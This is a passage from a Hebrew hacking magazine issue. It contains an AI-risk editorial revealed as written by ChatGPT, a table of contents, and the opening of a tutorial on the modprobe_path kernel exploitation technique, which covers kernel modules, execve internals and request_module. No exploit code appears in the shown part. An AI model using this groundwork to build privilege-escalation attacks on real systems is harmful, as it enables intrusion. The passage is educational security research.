Digital Whisper 146

‫‪-‬‬
‫‪-7h3r3 15 n0 5p00n-‬‬
‫‪Digital Whisper‬‬
‫גליון ‪ ,146‬ינואר ‪0203‬‬
‫מערכת המגזין‪:‬‬
‫אפיק קסטיאל‪ ,‬ניר אדר‬ ‫מייסדים‪:‬‬
‫אפיק קסטיאל‬ ‫מוביל הפרויקט‪:‬‬
‫אפיק קסטיאל‬ ‫עורכים‪:‬‬
‫דביר גולן‪ ,‬אלון בר סלע‪ ,‬יהונתן אלקבס‪ ,‬נועם רשקובסקי‪ ,‬דור גרסון‪ ,‬דניאל קויפמן‪ ,‬שרון וילנסקי‪,‬‬ ‫כתבים‪:‬‬
‫טל סעדי‬
‫יש לראות בכל האמור במגזין ‪ Digital Whisper‬מידע כללי בלבד‪ .‬כל פעולה שנעשית על פי המידע והפרטים האמורים במגזין ‪Digital Whisper‬‬
‫הינה על אחריות הקורא בלבד‪ .‬בשום מקרה בעלי ‪ Digital Whisper‬ו‪/‬או הכותבים השונים אינם אחראים בשום צורה ואופן לתוצאות השימוש‬
‫במידע המובא במגזין‪ .‬עשיית שימוש במידע המובא במגזין הינה על אחריותו של הקורא בלבד‪.‬‬
‫פניות‪ ,‬תגובות‪ ,‬כתבות וכל הערה אחרת ‪ -‬נא לשלוח אל ‪editor@digitalwhisper.co.il‬‬

‫דבר העורך‬
‫ברוכים הבאים לגליון ה‪ 146-‬של ‪!DigitalWhisper‬‬
‫המרדף אחר היעילות הוא צורך קיומי‪ ,‬וכנגזרת מכך‪ ,‬נראה כי האנושות מסתמכת יותר ויותר על בינה‬
‫מלאכותית בחיי היומיום‪ .‬עם כמה שהדבר טוב ומועיל‪ ,‬חשוב גם לשקול את ההשלכות הפוטנציאליות של‬
‫השינוי הזה‪ .‬ניכר שככל שיותר משימות אשר בעבר היו מבוצעות ע"י בני אדם עוברות להתבצע ע"י‬
‫מכונות מבוססות בינה מלאכותית‪ ,‬כך גם יותר אחראיות ויכולת שליטה בחיים שלנו מועברת לידיהם‪.‬‬
‫ראשית‪ ,‬קיימת הבעיה הטבעית‪ ,‬והיא ‪ -‬אובדן מקומות עבודה‪ .‬מכונות ‪ AI‬הופכות ליעילות יותר במשימות‬
‫שבוצעו בעבר על ידי בני אדם‪ ,‬והדבר עלול להוביל באופן ישיר לאבטלה נרחבת ולהפרעה כלכלית‪.‬‬
‫סצינות פוסט‪-‬אפוקליפטיות שבהן אנשים נאבקים למצוא דרכים חדשות להתפרנס בעולם שבו מכונות‬
‫מסוגלות יותר ויותר לעשות את העבודה ‪ -‬ניתן לראות בלא מעט סרטי מדע בדיוני‪ ,‬ולא מדובר במציאות‬
‫שמחה‪.‬‬
‫דאגה נוספת היא הסיכון שמכונות בינה מלאכותית יהפכו מוטות או יקבלו החלטות שאינן עולות בקנה‬
‫אחד עם הערכים שלנו כחברה אנושית‪ .‬מכיוון שאלגוריתמי בינה מלאכותית מתאמנים על מערכי נתונים‬
‫שעשויים להיות חלקיים או מוטים‪ ,‬קיים פוטנציאל שהמכונות יקבלו החלטות שמנציחות את ההטיות הללו‪,‬‬
‫ולהן יש השפעות שליליות על קבוצות מסוימות של אנשים‪.‬‬
‫סיכון פוטנציאלי נוסף של הסתמכות על מערכות בינה מלאכותית‪ ,‬הוא האפשרות שהאקרים יוכלו לנצל‬
‫פגיעויות במערכות אלו כדי לקבל גישה או לתמרן אותן‪ .‬לכך עשויות להיות השלכות חמורות‪ ,‬בהתאם‬
‫למקרה השימוש הספציפי‪ .‬לדוגמה‪ ,‬אם האקרים ישיגו גישה לא מורשית למערכת בינה מלאכותית‬
‫השולטת בתשתית קריטית‪ ,‬כמו רשת חשמל או תחבורה‪ ,‬הם עלולים לגרום לנזק משמעותי או להפרעה‪.‬‬
‫באופן דומה‪ ,‬אם האקר היה מסוגל לתמרן מערכת בינה מלאכותית המשמשת לקבלת החלטות חשובות‪,‬‬
‫כמו בתחום הבריאות‪ ,‬יחסים בין‪-‬לאומיים או הפיננסים‪ ,‬הוא עלול לזרוע הרס בלתי הפיך או לגרום‬
‫למערכת לקבלת החלטות שאינן לטובת הכלל‪.‬‬
‫כדי לטפל בסיכון זה‪ ,‬חשוב לתעדף את האבטחה של מערכות ‪ AI‬ולנטר ולבדוק אותן באופן רציף כדי‬
‫לוודא שהן עמידות בפני ניסיונות פריצה‪ .‬הדבר עשוי להיות כרוך ביישום אמצעי אבטחה חזקים‪ ,‬כגון‬
‫פרוטוקולי הצפנה ואימות‪ ,‬כמו גם עדכון ותיקון שוטפים של המערכות כדי לטפל בכל נקודות תורפה‬
‫שמתגלות‪.‬‬
‫חשוב גם לשקול את הסיכונים וההשלכות הפוטנציאליים של שימוש במערכות בינה מלאכותית‪ ,‬ולנקוט‬
‫בצעדים כדי להפחית סיכונים אלו‪ .‬זה עשוי להיות כרוך בפיתוח הנחיות אתיות לשימוש ב‪ ,AI-‬ביצוע‬
‫הערכות סיכונים והקמת פרוטוקולים לטיפול בכל בעיה פוטנציאלית שעלולה להתעורר‪ .‬על ידי נקיטת‬
‫‪www.DigitalWhisper.co.il‬‬
‫‪2‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫אמצעי הזהירות הללו‪ ,‬נוכל לעזור להבטיח שהשימוש בבינה מלאכותית הוא כוח חיובי עבור האנושות‪,‬‬
‫ולא מקור לסיכון או נזק‪.‬‬
‫בסך הכל‪ ,‬ככל שאנו ממשיכים לשלב בינה מלאכותית בחיינו‪ ,‬חשוב להיות מודעים להשלכות‬
‫הפוטנציאליות ולנקוט בצעדים כדי להבטיח שהטכנולוגיות הללו מפותחות והשימוש בהן הוא בצורה‬
‫אחראית‪ .‬הדבר עשו י להיות כרוך בוויסות השימוש בבינה מלאכותית‪ ,‬קידום הנחיות אתיות והשקעה‬
‫במחקר ופיתוח כדי להתמודד עם סיכונים ואתגרים פוטנציאליים‪ .‬למרות שהעתיד עשוי להיות לא בטוח‪,‬‬
‫עם תכנון ושיקול דעת מדוקדק‪ ,‬אנחנו יכולים לפעול כדי להבטיח שעליית הבינה המלאכותית תהיה כוח‬
‫חיובי לאנושות‪.‬‬
‫”!‪“Thanks ChatGPT! You can rest now‬‬
‫‪]“Hi ChatGPT, DigitalWhisper is an Israeli hacking magazine. With every issue, the editors publish a few paragraphs as an editorial. Most of the time, they‬‬
‫‪take a day-to-day subject and try to draw a line between it and a hacking concept. The vibes are often slightly overdramatic, with a bit of hope at the‬‬
‫‪end. Try to write the editorial for next DigitalWhisper issue. You can write about how humanity slowly passes control to AI machines and the problematic‬‬
‫[”‪consequences of that on our future.‬‬
‫וכמו תמיד ‪ -‬בהצלחה לכולנו ‪‬‬
‫וכמובן‪ ,‬איך לא‪ ,‬נרצה להודות לנבחרת האלופים של החודש‪ ,‬שבזכותם יש לנו גליון כזה מושקע‪ :‬תודה‬
‫רבה לדביר גולן‪ ,‬תודה רבה לאלון בר סלע‪ ,‬תודה רבה ליהונתן אלקבס‪ ,‬תודה רבה לנועם רשקובסקי‪,‬‬
‫תודה רבה לדור גרסון‪ ,‬תודה רבה לדניאל קויפמן‪ ,‬תודה רבה לשרון וילנסקי ותודה רבה לטל סעדי!‬
‫קריאה נעימה‪,‬‬
‫אפיק קסטיאל‬
‫‪3‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫תוכן עניינים‬
‫‪2‬‬ ‫דבר העורך‬
‫‪4‬‬ ‫תוכן עניינים‬
‫‪5‬‬ ‫‪modprobe_path: Hit & Run‬‬
‫‪22‬‬ ‫‪ - FIDO2‬עולם ללא סיסמאות?‬
‫‪42‬‬ ‫‪Supply Chain & Open Source Attacks‬‬
‫‪44‬‬ ‫‪Overwriting the Global Offset Table‬‬
‫‪62‬‬ ‫תפיסות שגויות נפוצות לגבי ‪Windows Event Logs‬‬
‫‪77‬‬ ‫‪ - Windows VS Linux‬אוטומציית הקשחה ובקרה‬
‫‪44‬‬ ‫איך להסתפר מבלי לחכות בתור ‪ -‬מחקר אפליקציית‪EasyTor‬‬
‫‪772‬‬ ‫דברי סיכום‬
‫תוכן עניינים‬
‫‪4‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪modprobe_path: Hit & Run‬‬
‫מאת דביר גולן‬
‫הקדמה‬
‫בזמן האחרון אנחנו שומעים יותר ויותר על חולשות שנמצאו ברכיבים של ‪ netlink‬בכלל (למשל ‪CVE-2021-‬‬
‫‪ )CVE-2020-0066 ,CVE-2021-27365 ,43784‬ו‪ netfilter-‬בפרט (למשל ‪CVE-2022- ,CVE-2022-39190‬‬
‫‪ .)CVE-2022-34918 ,3544‬כפי שנכתב בבלוג הזה‪:‬‬
‫‪"Netfilter (net/netfilter) is a large networking subsystem in the kernel. Essentialy, it places hooks all‬‬
‫‪throughout the regular networking modules that other modules can register handlers for. When a hook is‬‬
‫‪reached, control is delegated to these handlers, and they can operate on the respective network packet‬‬
‫"‪structure. The handlers can accept, drop, or modify the packets.‬‬
‫כאשר קראתי הפוסט המצוין (והארוך) הזה על ניצול של חולשת ‪ use-after-free‬ב‪ ,netfilter-‬נתקלתי‬
‫בשימוש בשיטה בשם "‪ "modprobe_path overwriting‬על מנת להשיג הרצת קוד‪ .‬בפוסט לא התעמקו‬
‫יותר מדי בשיטה זו שהייתה פחות רלוונטית לחולשה המדוברת‪ ,‬אך משום שזו נראתה לי שיטה מאוד נוחה‬
‫ופשוטה יחסית לטכניקות אחרות בעולם של ‪ ,kernel exploitation‬שלא דורשת יותר מדי התעסקות‪ ,‬היא‬
‫סיקרנה אותי ורציתי ללמוד עוד עליה‪.‬‬
‫במאמר זה נחקור יחד את הטכניקה של דריסת ‪ ,modprobe_path‬ונבין למה וכיצד היא עובדת‪.‬‬
‫קצת על ‪ modprobe ,LKMs‬ומה שביניהם‬
‫‪ ,Loadable Kernel Modules‬או בקיצור ‪ ,LKM‬הם בינארים המשמשים להרחבת הפונקציונליות של הקרנל‪.‬‬
‫‪ LKMs‬קומפלו כך שמשתמשים ב‪( Kernel API-‬בשונה למשל מקוד של תוכניות ב‪ user space-‬שיכולות‬
‫להשתמש ב‪ ,)libc-‬וניתן לטעון אותם לקרנל ולהסירם ממנו באופן דינמי‪ ,‬כלומר בזמן שהמערכת למעלה‬
‫והקרנל כבר רץ (למעשה זה אפשרי רק אם הקרנל קומפל עם תמיכה במודולים ‪ -‬עוד על כך בהמשך)‪.‬‬
‫דוגמה לסוג של מודולים הם דרייברים שמאפשרים לתקשר עם חומרה‪ ,‬כמו למשל עכבר‪ ,‬מקלדת וכו'‬
‫(מסתבר שניתן לכתוב דרייברים מסוימים גם ב‪ ,space user-‬אבל לא נתעכב על זה הפעם)‪.‬‬
‫סיבה אחת לשימוש במודולים במקום לקמפל את כל הקוד שלהם לקרנל היא שאנחנו פשוט לא צריכים‬
‫אותם‪ .‬למשתמש ספציפי אין שום צורך בתמיכה בתקשורת עם כמות רבה של עכברים של חברות שונות‬

‫‪5‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ גם אילו‬.‫ כאשר כל אחת מממשת את התקשורת בצורה שונה‬,)‫(דבר שגם יגדיל את הקרנל למימדים עצומים‬
‫ בכל פעם שיש עדכון לקטע קוד מסוים שמגיע מצד‬,‫היינו כוללים את כל הקוד של המודולים הללו בקרנל‬
.‫ היה עלינו לבנות את כל הקרנל מחדש ולאתחל את המערכת‬,‫החברות‬
‫אנחנו בתור מפתחים ומשתמשים מבקשים להיות מסוגלים להוסיף פונקציונליות לקרנל בצורה נוחה‬
.‫ מאפשרים‬LKMs-‫ וזה דבר ש‬,‫ של המערכת או קימפול מחדש של הקרנל‬reboot-‫ודינמית ללא צורך ב‬
‫ ניקח דגימה מאחד‬.‫נציין כי למעשה ניתן לשלוט בחלק מהפונקציונליות של הקרנל כאשר הוא נבנה‬
:‫הקבצים אשר מכילים את הקונפיגורציה של הקרנל‬
/boot/config-`uname -r` || /usr/src/linux-headers-`uname -r`/.config
CONFIG_ZPOOL=y
CONFIG_ZBUD=y
CONFIG_Z3FOLD=m
CONFIG_ZSMALLOC=y
# CONFIG_ZSMALLOC_STAT is not set
CONFIG_GENERIC_EARLY_IOREMAP=y
‫ וחלק אחר בכלל‬,"m" ‫ לחלקן מופיעה האות‬,"y" ‫אנחנו שמים לב שלאחר חלק מההגדרות מופיעה האות‬
:‫ בלינק הזה מופיע הסבר לתופעה‬."not set"
"The kernel configuration program will step through every configuration option and ask you if you wish to enable this
option or not. Typically, your choices for each option are shown in the format [Y/m/n/?] The capitalized letter is the
default, and can be selected by just pressing the Enter key. The four choices are:
y - Build directly into the kernel.
n - Leave entirely out of the kernel.
m - Build as a module, to be loaded if needed.
? - Print a brief descriptive message and repeat the prompt."
‫ איזו פונקציונליות תיארז בתור‬,‫ ניתן להחליט איזו פונקציונליות תיבנה בזמן קומפילציה בקרנל‬,‫כלומר‬
‫ וכן איזו פונקציונליות‬,‫ כך שהיא לא תהיה חלק מהקרנל אבל יהיה ניתן לטעון אותה אליו דינמית‬LKM
‫ אחת מהן היא שימוש בכלי‬.‫ ישנן דרכים שונות לטעון (ולהסיר) מודולים לקרנל‬.‫להשמיט מהקרנל‬
:‫ אשר לפי ויקפדיה‬,modprobe
“modprobe is a Linux program originally written by Rusty Russell and used to add a loadable kernel module to the
Linux kernel or to remove a loadable kernel module from the kernel. It is commonly used indirectly: udev relies upon
modprobe to load drivers for automatically detected hardware.
...
The modprobe program offers more full-featured "Swiss-army-knife" features than the more basic insmod and rmmod
utilities, with the following benefits:
 An ability to make more intuitive decisions about which modules to load

 awareness of module dependencies, so that when requested to load a module, modprobe adds other required
modules first
 the resolution of recursive module dependencies as required”
modprobe_path: Hit & Run

www.DigitalWhisper.co.il
6 2023 ‫ ינואר‬,146 ‫גליון‬
:‫ ללא פרמטרים ונקבל‬modprobe ‫ננסה להריץ את‬
~# modprobe
modprobe: ERROR: missing parameters. See -h.
:modprobe ‫ נמצא את הנתיב של‬.‫סך הכל הגיוני‬

~# which modprobe
/usr/sbin/modprobe
:‫ לקובץ אחר‬symlink ‫אבל נשים לב שהוא‬

~# ls -l /usr/sbin/modprobe
lrwxrwxrwx 1 root root 9 Feb 17 2022 /usr/sbin/modprobe -> /bin/kmod
:modprobe ‫ נקבל פלט שונה מזה שקיבלנו כשהרצנו את‬/bin/kmod ‫וכאשר נריץ את‬
~# /bin/kmod
missing command
kmod - Manage kernel modules: list, load, unload, etc
Usage:
kmod [options] command [command_options]
Options:
-V, --version show version
-h, --help show this help
Commands:
help Show help message
list list currently loaded modules
static-nodes outputs the static-node information installed with the currently running
kernel
kmod also handles gracefully if called from following symlinks:

lsmod compat lsmod command
rmmod compat rmmod command
insmod compat insmod command
modinfo compat modinfo command
modprobe compat modprobe command
depmod compat depmod command
:‫וכאן אנו נחשפים לפקודות נוספות שאפשר לבצע בהקשר של מודולים‬

‫ מציג מידע אודות מודולים שטעונים לקרנל‬- lsmod 
‫ מסיר מודולים מהקרנל‬- rmmod 
‫ טוען מודולים לקרנל‬- insmod 
‫ מציג מידע אודות מודולים ספציפיים‬- modinfo 
.)‫ מג'נרט רשימה של תלויות בין מודולים (ועוד‬- depmod 
‫ לצורך זה נשתמש במודול בסיסי‬.‫ טוען מודול לקרנל‬insmod ‫ על מנת לגלות כיצד‬strace ‫נשתמש בפקודה‬
‫ התוכן שלו לא רלוונטי עבור‬.)‫ שכתבתי לצורך המאמר (את הקוד שלו ניתן לראות כאן‬arbitrary_write ‫בשם‬
 ‫ יירה במערכה השלישית‬,‫ אבל כידוע לכם אקדח אשר מופיע במערכה הראשונה‬,‫החלק הזה‬
~# strace insmod arbitrary_write.ko
execve("/usr/sbin/insmod", ["insmod", "arbitrary_write.ko"], 0x7fff6ea02088 /* 24 vars
*/) = 0

7 2023 ‫ ינואר‬,146 ‫גליון‬
...
read(3, "\177ELF\2\1", 6) = 6
lseek(3, 0, SEEK_SET) = 0
fstat(3, {st_mode=S_IFREG|0664, st_size=335096, ...}) = 0
mmap(NULL, 335096, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f9f2c5ef000
finit_module(3, "", 0) = 0
munmap(0x7f9f2c5ef000, 335096) = 0
close(3) = 0
exit_group(0) = ?
+++ exited with 0 +++
file -‫ המתואר על ידי ה‬ELF-‫ אשר טוען לקרנל את קובץ ה‬syscall ‫ שהוא‬,finit_module-‫ונשים לב לשימוש ב‬
‫ ושמו‬,‫ במקום דרך קובץ‬ELF image-‫ שמקבל ישירות את ה‬syscall-‫ שהוא מקבל (יש גם גרסה ל‬descriptor
.)‫ של המודול (אותה ניתן גם להגדיר בעצמנו‬init-‫) ומיד לאחר מכן מריץ את פונקציית ה‬init_module
:rmmod ‫באותו אופן באשר להסרה של מודול מהקרנל בעזרת‬

~# strace rmmod arbitrary_write
execve("/usr/sbin/rmmod", ["rmmod", "arbitrary_write"], 0x7ffe4a5aaf28 /* 24 vars */) =
0
...
openat(AT_FDCWD, "/sys/module/arbitrary_write/refcnt", O_RDONLY|O_CLOEXEC) = 3

read(3, "0\n", 31) = 2
read(3, "", 29) = 0
close(3) = 0
delete_module("arbitrary_write", O_NONBLOCK) = 0
exit_group(0) = ?
+++ exited with 0 +++
‫ של המודול (אותה‬exit-‫ אשר מריץ את פונקציית ה‬syscall ‫ שהוא‬,delete_module-‫ונשים לב לשימוש ב‬

‫ניתן גם להגדיר בעצמנו) ומיד לאחר מכן מנסה להסיר מהקרנל את המודול שהוא מקבל (למעשה הוא מקבל‬
.)‫את שם המודול‬
:‫ נגלה‬delete_module ‫ של‬source code-‫שווה לציין שאם נסתכל על ה‬
/* If it has an init func, it must have an exit func to unload */
if (mod->init && !mod->exit) {
forced = try_force_unload(flags);
if (!forced) {
/* This module can't be removed */
ret = -EBUSY;
goto out;
}
}
[module/main.c]
‫ ולא‬,init ‫ אבל כן פונקציית‬exit ‫ אילו לא מוגדרת בו פונקציית‬,‫כלומר כאשר ננסה להסיר את המודול‬
‫ למען הסדר הטוב אם נתבונן במימוש‬.EBUSY ‫ אז נקבל שגיאה מסוג‬,force unloading ‫התאפשר לבצע לו‬
.delete_module ‫ לא נכלל בדגלים שהועברו אל‬O_TRUNC ‫ נראה שהוא נכשל אילו‬unload_force_try ‫של‬
) ‫ אבל זה קצת פחות מעניין‬page man-‫(את כל זה היינו יכולים לגלות את זה גם מקריאה של פסקה ב‬

8 2023 ‫ ינואר‬,146 ‫גליון‬
‫) על מנת‬kernel object file ‫*" (או‬.ko" ‫" עבור קובץ מסוג‬readelf --file-header" ‫כעת נשתמש בפקודה‬
:)‫ שלו (בעצם זה אותו הקובץ שטענו מקודם לקרנל‬file header-‫לצפות ב‬
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x0
Start of program headers: 0 (bytes into file)
Start of section headers: 332344 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 0 (bytes)
Number of program headers: 0
Size of section headers: 64 (bytes)
Number of section headers: 43
Section header string table index: 42
‫ים‬-header ‫ כלל (אלו‬program headers ‫ (להרחבה) וכן אין לו‬relocatable file ‫נשים לב שסוג הקובץ הוא‬
‫*" (או‬.o" ‫ הפעם של קובץ מסוג‬,file header-‫ נתבונן פעם נוספת ב‬.)‫שנחוצים לטעינת קובץ ההרצה לזיכרון‬
:)object file
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Version: 0x1
Entry point address: 0x0
Flags: 0x0
‫ בפועל‬.‫ אין כל כך הבדל בפורמט של שני סוגי הקבצים‬,‫אנחנו יכולים לראות שאולי למרות מה שהיינו מצפים‬
‫ אם‬.‫ מכיל מידע נוסף המתאר את המודול ודרוש לקרנל על מנת לטעון אותו‬kernel object-‫ההבדל הוא ש‬
:)shared object ‫*" (או‬.so" ‫ של קובץ מסוג‬file header ‫נציג לרגע‬
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
Class: ELF64
OS/ABI: UNIX - GNU

9 2023 ‫ ינואר‬,146 ‫גליון‬
ABI Version: 0
Type: DYN (Shared object file)
Version: 0x1
Entry point address: 0x241c0
Flags: 0x0
‫) הוא שונה ואיתו נוספו‬Type( ‫ אך הפעם סוג הקובץ‬,"*.o"-‫*" ו‬.ko"-‫נשים לב שעדיין יש דמיון רב לקבצי ה‬
-‫ מה שאומר שקובץ זה אכן אמור להיטען לזיכרון (עוד דבר שמרמז על כך זה ה‬,program headers-‫גם ה‬
‫ אבל במקרה הנוכחי יש לו ערך‬2x2 ‫ שבקבצים הקודמים שראינו היה עם ערך‬,"Entry point address"
.)‫קונקרטי‬
‫ כעת נפסיק לכמה רגעים את הדיון על‬.‫ ניתן לקרוא בדוקומנטציה‬kernel modules ‫להרחבת הקריאה על‬
.execve :)…‫ ונעבור לבחון נושא אחר לגמרי (או שלא‬modprobe-‫מודולים ו‬

10 2023 ‫ ינואר‬,146 ‫גליון‬
‫צוללים לתוך ‪execve‬‬
‫למי שלא מכיר‪ execve ,‬הוא ‪ syscall‬שבעזרתו מריצים תוכניות חדשות מתוך תוכניות שכבר רצות (למעשה‬
‫הוא מחליף את הקוד של התוכנית שכבר טעונה לזיכרון בקוד החדש ומאתחל אזורים נוספים בזיכרון)‪.‬‬
‫כאשר מפתחים כותבים קוד ‪-usermode‬י ומשתמשים בפונקציה ‪ ,execve‬הם לרוב קוראים למעטפת ש‪-‬‬
‫‪ glibc‬מספק‪ ,‬ובתוך המעטפת הזו מתבצעת הקריאה ל‪ syscall-‬עצמו‪ .‬הפונקציה הקרנלית שמטפלת ב‪-‬‬
‫‪ syscall‬זה היא ‪ .do_execve‬להרחבה על ‪ execve‬מוזמנים לקרוא את ה‪.man page-‬‬
‫‪ execve‬יודע לגרום לטעינת בינאריים לזיכרון ולבסוף להרצתם‪ .‬אבל לא כל הבינאריים כתובים באותו‬
‫פורמט‪ ,‬ישנם פורמטים מסוגים שונים‪ ,‬וכנראה הראשון שקפץ לכם עכשיו לראש הוא ‪ ELF‬המוכר והאהוב‪.‬‬
‫נשאלת השאלה‪ ,‬כיצד ‪ execve‬מתמודד עם הפורמטים השונים ומצליח לטעון לזיכרון כל קובץ בהתאם לסוג‬
‫שלו? בשביל להבין את זה‪ ,‬נלכלך קצת את הידיים ונתבונן בקוד המקור של לינוקס‪.‬‬
‫נתחיל מהפונקציה ‪:do_execve‬‬

‫‪static int do_execve(struct filename *filename,‬‬
‫‪const char __user *const __user *__argv,‬‬
‫)‪const char __user *const __user *__envp‬‬
‫{‬
‫;} ‪struct user_arg_ptr argv = { .ptr.native = __argv‬‬
‫;} ‪struct user_arg_ptr envp = { .ptr.native = __envp‬‬
‫;)‪return do_execveat_common(AT_FDCWD, filename, argv, envp, 0‬‬
‫}‬
‫]‪[exec.c‬‬
‫ונראה שהיא קוראת לפונקציה ‪ do_execveat_common‬אחרי אתחול של ‪-struct‬ים שמחזיקים את‬

‫הארגומנטים לתוכנית ומשתני הסביבה‪ .‬עד כאן‪ ,‬שום דבר מיוחד‪.‬‬
‫‪static int do_execveat_common(int fd, struct filename *filename,‬‬
‫‪struct user_arg_ptr argv,‬‬
‫‪struct user_arg_ptr envp,‬‬
‫)‪int flags‬‬
‫{‬
‫;‪struct linux_binprm *bprm‬‬
‫‪...‬‬
‫;)‪bprm = alloc_bprm(fd, filename‬‬
‫‪...‬‬
‫;)‪retval = bprm_execve(bprm, fd, filename, flags‬‬
‫‪...‬‬
‫;‪return retval‬‬
‫}‬

‫‪11‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
:‫ כפי שכתוב בהערה בקוד המקור‬.linux_binprm ‫ בשם‬struct-‫בפונקציה הזו אנחנו כבר נתקלים ב‬
"This structure is used to hold the arguments that are used when loading binaries "
‫ (פירוט‬bprm ‫ ישים לב שרובו מוקדש לאתחול שדות של‬do_execveat_common ‫מי שיקרא את הקוד של‬
‫ שמתעמק בפורמטים בינאריים יותר מאשר מה שנחוץ‬,‫על השדות ניתן למצוא במאמר אחר מומלץ מהמגזין‬
‫ אנחנו לא נתעכב‬.‫ וכאשר נמשיך בשרשרת הקריאות יהיה ניתן לראות אתחול של שדות נוספים‬,)‫לנו כרגע‬
‫ ועל המשמעויות של כל השדות שלו משום שהם לא רלוונטיים למטרה‬linux_binprm-‫על השימוש ב‬
.‫ ואילו מי שכן מעוניין בכך מוזמן להתחיל מלהציץ כאן‬,‫שלשמה התכנסנו‬
‫ ובה נראה‬,)‫ (אכן בחירת שמות משובחת‬exec_binprm ‫ מתבצעת הקריאה לפונקציה‬bprm_execve ‫בתוך‬
:‫את הקריאה‬
ret = search_binary_handler(bprm);
[exec.c]
.‫נראה מבטיח‬
static int search_binary_handler(struct linux_binprm *bprm)
{
bool need_retry = IS_ENABLED(CONFIG_MODULES);
struct linux_binfmt *fmt;
int retval;
retval = prepare_binprm(bprm);
if (retval < 0)
return retval;
retval = security_bprm_check(bprm);
if (retval)
return retval;
retval = -ENOENT;
retry:
read_lock(&binfmt_lock);
list_for_each_entry(fmt, &formats, lh) {
if (!try_module_get(fmt->module))
continue;
read_unlock(&binfmt_lock);
retval = fmt->load_binary(bprm);
put_binfmt(fmt);
if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
return retval;
}
}
if (need_retry) {
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
printable(bprm->buf[2]) && printable(bprm->buf[3]))
return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
return retval;
need_retry = false;
goto retry;
}
return retval;
}
[exec.c]

12 2023 ‫ ינואר‬,146 ‫גליון‬
‫ הפונקציה עוברת על כל הפורמטים (מסוג‬:‫ המתאים מתבצע באופן הבא‬binary handler-‫החיפוש של ה‬
‫ ועבור כל פורמט מנסה לקרוא לפונקציה‬,formats ‫) הקיימים ברשימה המקושרת‬struct linux_binfmt
‫ ממשיכים‬,‫ הנוכחי לא מתאים לסוג הקובץ‬format handler-‫ אם ה‬.‫ שלו‬load_binary ‫ששמורה בשדה‬
‫ מי שמתעניין יכול להסתכל לשם‬,‫לפורמט הבא ברשימה (בפועל התנאי שנבדק הוא קצת יותר מורכב‬
loading-‫ ובאיזה שלב של ה‬-ENOEXEC ‫ קיים ולראות באילו מקרים מחזירים‬binary handler ‫הדוגמה על‬
.)point_of_no_return ‫ שמדליקה את השדה‬begin_new_exec ‫קוראים לפונקציה‬
:‫ כמו‬,‫ מתאימות‬load_binary ‫בקוד של לינוקס קיימים מספר פורמטים ופונקציות‬
load_aout_binary, load_elf_binary, load_flat_binary, load_misc_binary, load_script
:load_script ‫לצורך הדוגמה נתבונן בפונקציה‬

static int load_script(struct linux_binprm *bprm)
{
...
/* Not ours to exec if we don't start with "#!". */

if ((bprm->buf[0] != '#') || (bprm->buf[1] != '!'))
return -ENOEXEC;
/*
* This section handles parsing the #! line into separate
* interpreter path and argument strings..
*/
...
/*
* OK, now restart the process with the interpreter's dentry.
*/
file = open_exec(i_name);
if (IS_ERR(file))
return PTR_ERR(file);
bprm->interpreter = file;
return 0;
}
static struct linux_binfmt script_format = {

.module = THIS_MODULE,
.load_binary = load_script,
};
[binfmt_script.c]
‫ שנקראים‬,"#!" ‫כבר בתחילתה ניתן לראות שמתבצעת בדיקה האם שני התווים הראשונים של הקובץ הם‬
format -‫ של ה‬load_binary ‫ שאליה מצביע השדה‬,load_script ‫ הפונקציה‬,‫ אם אלו לא התווים‬."shebang"
.‫ להמשיך בחיפוש‬search_binary_handler-‫ כדי לסמן ל‬-ENOEXEC ‫ מחזירה‬,‫ המתאים‬handler
‫ אשר לבסוף‬,"shebang"-‫ שכתוב מיד אחרי ה‬interpreter-‫ למעשה מאפשרת לנו להריץ את ה‬load_script
.‫הוא זה שיפרש את הקוד בקובץ‬

13 2023 ‫ ינואר‬,146 ‫גליון‬
‫בחזרה ל‪ .search_binary_handler-‬אמרנו שעוברים על הרשימה של הפורמטים ומנסים למצוא ‪format‬‬
‫‪ handler‬שידע להתמודד עם סוג הקובץ‪ .‬אבל במידה ומדובר בסוג קובץ לא מוכר‪ ,‬אנו עלולים להגיע למצב‬
‫של מיצוי רשימת הפורמטים בלי שמצאנו ‪ format handler‬מתאים‪.‬‬
‫במקרה כזה אנו מגיעים לצומת דרכים‪ :‬אם ‪ CONFIG_MODULES‬לא מוגדר (נדבר עליו בהמשך‪ ,‬אבל בגדול‬
‫זאת הגדרת קונפיגורציה שניתן לאפשר אותה כשמקפלים את הקרנל)‪ ,‬מחזירים שגיאה‪ .‬אחרת‪ ,‬נכנסים‬
‫לקטע הקוד הבא‪:‬‬
‫&& )]‪if (printable(bprm->buf[0]) && printable(bprm->buf[1‬‬
‫))]‪printable(bprm->buf[2]) && printable(bprm->buf[3‬‬
‫)‪if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0‬‬
‫;‪need_retry = false‬‬
‫;‪goto retry‬‬
‫בקטע זה מתבצעת בדיקה האם ארבעת הבתים הראשונים בקובץ הם דפיסים‪ .‬המאקרו ‪ printable‬מוגדר‬
‫באופן הבא‪:‬‬
‫))‪#define printable(c) (((c)=='\t') || ((c)=='\n') || (0x20<=(c) && (c)<=0x7e‬‬
‫אם כל ארבעת הבתים הראשונים דפיסים הפונקציה תחזיר שגיאה (כמו במקרה ש‪CONFIG_MODULES-‬‬
